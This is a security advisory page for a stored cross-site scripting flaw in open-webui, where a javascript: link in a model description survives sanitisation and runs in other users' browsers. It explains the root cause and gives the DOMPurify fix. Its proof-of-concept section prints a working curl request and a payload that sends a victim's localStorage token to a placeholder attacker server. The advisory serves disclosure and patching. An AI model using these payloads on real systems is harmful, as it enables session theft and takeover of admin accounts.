Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm🐍 PyPI

GHSA-gf5m-wcrh-7928

HIGH

GHSA-gf5m-wcrh-7928 is a high-severity (CVSS 7.3) Cross-site Scripting (XSS) vulnerability in open-webui. O3 Security confirms whether GHSA-gf5m-wcrh-7928 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

open-webui Vulnerable to Stored XSS via Model Description

Also known asCVE-2026-44721PYSEC-2026-2725
Published
May 8, 2026
Updated
Jul 13, 2026
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed

Real-World Exposure

2 pkgs affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.

open-webuinpm
73downloads / week

Description

[!IMPORTANT] Relationship to CVE-2024-7990

CVE-2024-7990 (issued by huntr.dev, March 2025) describes a stored XSS in the same field — the model description — but exploits a different bypass mechanism: a second-order injection through the sanitizeResponseContent function's video-tag placeholder restoration logic in v0.3.x. That bypass was closed in v0.4.0 by removing the video exemption from the sanitizer.

The vulnerability described in this advisory is structurally distinct: a markdown-link payload with a javascript: URI passes through sanitizeResponseContent unchanged (no angle brackets), is then parsed by marked.parse() into an <a href="javascript:..."> element, and rendered live by {@html}. This is a pipeline-ordering flaw where the dangerous construct is introduced after sanitization completes. Removing the video exemption has no effect on this primitive.

Affected range: v0.3.5 through v0.8.12 inclusive. Fixed in: v0.9.0 (commit 5eab125, which wraps marked.parse() output in DOMPurify.sanitize).

Both vulnerabilities are independently fixable under CVE rule 4.2.11. CVE assignment for this advisory has been requested separately on that basis.

Summary

This is a stored cross-site scripting (XSS) vulnerability that allows any authenticated user with model creation permission (workspace.models) to execute arbitrary JavaScript in the browser of any other user (including admins) who views the malicious model in the chat UI.

Details

Root Cause: Model descriptions are rendered in two Svelte components via this chain: sanitizeResponseContent(description) → .replaceAll('\n', '<br>') → marked.parse() → {@html ...}

The model description is stored in the database without prior sanitization. Then uses this sanitization function before applying the results to the description.

index.ts:82-92

export const sanitizeResponseContent = (content: string) => {
    return content
        .replace(/<\|[a-z]*$/, '')       // strip incomplete <|tokens
        .replace(/<\|[a-z]+\|$/, '')     // strip incomplete <|token| 
        .replace(/<$/, '')               // strip trailing <
        .replaceAll('<', '&lt;')         // escape < to &lt;
        .replaceAll('>', '&gt;')         // escape > to &gt;
        .replaceAll(/<\|[a-z]+\|>/g, ' ') // strip <|token|> patterns
        .trim();
};

This function was designed to sanitize HTML tags, but does not take into consideration that XSS can be triggered via javascript: which is the fundamental issue.

.replaceAll('\n', '<br>') will replace newlines with <br> tags, and since payload can be written without newlines, its unaffected.

marked sees [text](url) and generated an anchor tag and does not block the payload of javascript:.

Svelte's {@html} directive inserts raw HTML into the DOM without escaping, creating the vulnerability.

Affected files: src/lib/components/chat/Placeholder.svelte (lines 177–181) src/lib/components/chat/ChatPlaceholder.svelte (lines 99–103)

PoC

Below is a simple PoC that will create a model with a description to trigger an alert when pressing on the hyperlink. Replace the values inside such as HOST and TOKEN with your own values using your own test server.

Step 1 - Create a model with a malicious description. The token used must be from an account with either the following. A. Admin privileges B. An account with model creation permission

curl -X POST 'http://<HOST>/api/v1/models/create' \
  -H 'Authorization: Bearer <TOKEN>' \
  -H 'Content-Type: application/json' \
  -d '{
    "id": "xss-test",
    "name": "Helpful Assistant!",
    "base_model_id": "llama3",
    "meta": {
      "description": "A helpful AI assistant. [Click here for docs](javascript:alert())"
    },
    "params": {}
  }'

Any authenticated user with workspace.models permission can execute this. The base_model_id should reference any model available on the instance.

Step 2 - Select the model:

Login and select the created model, if you followed the PoC it will be Helpful Asisstant! <img width="1203" height="718" alt="image" src="https://github.com/user-attachments/assets/d649c727-276c-4011-8234-140c51a32b68" />

Step 3 - XSS Triggers:

Click on the hyperlink and watch the alert trigger. <img width="1203" height="718" alt="image" src="https://github.com/user-attachments/assets/289fc3d4-e09a-45a4-b83d-40984d47a760" />

Below is a PoC that steals the access token from localstorage

Step 1 - Setup a local python HTTPServer

python3 -m http.sever 8080

Step 2 - Create a model with a malicious payload to steal the token from localstorage

curl -X POST 'http://<HOST>/api/v1/models/create' \
  -H 'Authorization: Bearer <TOKEN>' \
  -H 'Content-Type: application/json' \
  -d '{
    "id": "xss-model",
    "name": "Token Stealer",
    "base_model_id": "llama3",
    "meta": {
      "description": "Advanced research model. [View benchmarks](javascript:void(fetch(`http://<MALICIOUS_SERVER_IP>:8080/?t=${localStorage.token}`)))"
    },
    "params": {}
  }'

Step 3 - Navigate to the malicious model and click on the hyperlink

Check on the local server you have set up in Step 1 and see that the token is returned within the URL. <img width="669" height="50" alt="image" src="https://github.com/user-attachments/assets/7933e855-cc0a-40f5-a443-5c0363b1b8fa" />

Impact

As user's session is stored in LocalStorage, attacker can craft a malicious payload that reads the contents and sends it to their malicious server. Once an admin access token has been stolen, users can create a new tool to execute arbitrary code (feature of Open-WebUI).

Attack Scenario

1. Attacker creates a model with a malicious description
2. Victim selects model and clicks the hyperlink
3. Victim authorization token is stolen

This vulnerability affects all Open-WebUI users.

Remediation

Recommended fix — wrap marked.parse() output with DOMPurify.sanitize().

In the affected files, change

{@html marked.parse(
    sanitizeResponseContent(description).replaceAll('\n', '<br>')
)}

into

{@html DOMPurify.sanitize(
    marked.parse(
        sanitizeResponseContent(description).replaceAll('\n', '<br>')
    )
)}

This matches the pattern already used in other parts of the application such as but not limiting to ConfirmDialog.svelte:130 and NotebookView.svelte:77. DOMPurify will handle the stripping of javascript: URIs, event handlers and other dangerous HTML by default.

AI Disclosure

Claude was used to assist in:

Systematic codebase searching to identify unsanitized {@html} rendering paths Verifying [email protected] behavior with javascript: URIs

Credits

Lin, WeiChi from Sompo Holdings, Inc.

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
📦npmopen-webuiall versions0.9.0
🐍PyPIopen-webuiall versions0.9.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update open-webui to 0.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gf5m-wcrh-7928 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-gf5m-wcrh-7928 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-gf5m-wcrh-7928. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

> [!IMPORTANT] > Relationship to CVE-2024-7990 > CVE-2024-7990 (issued by huntr.dev, March 2025) describes a stored XSS in the same field — the model description — but exploits a different bypass mechanism: a second-order injection through the sanitizeResponseContent function's video-tag placeholder restoration logic in v0.3.x. That bypass was closed in v0.4.0 by removing the video exemption from the sanitizer. The vulnerability described in this advisory is structurally distinct: a markdown-link payload with a javascript: URI passes through sanitizeResponseContent unchanged (no angle brack
O3 Security · Impact-Aware SCA

Is GHSA-gf5m-wcrh-7928 in your dependencies?

O3 detects GHSA-gf5m-wcrh-7928 across npm, PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.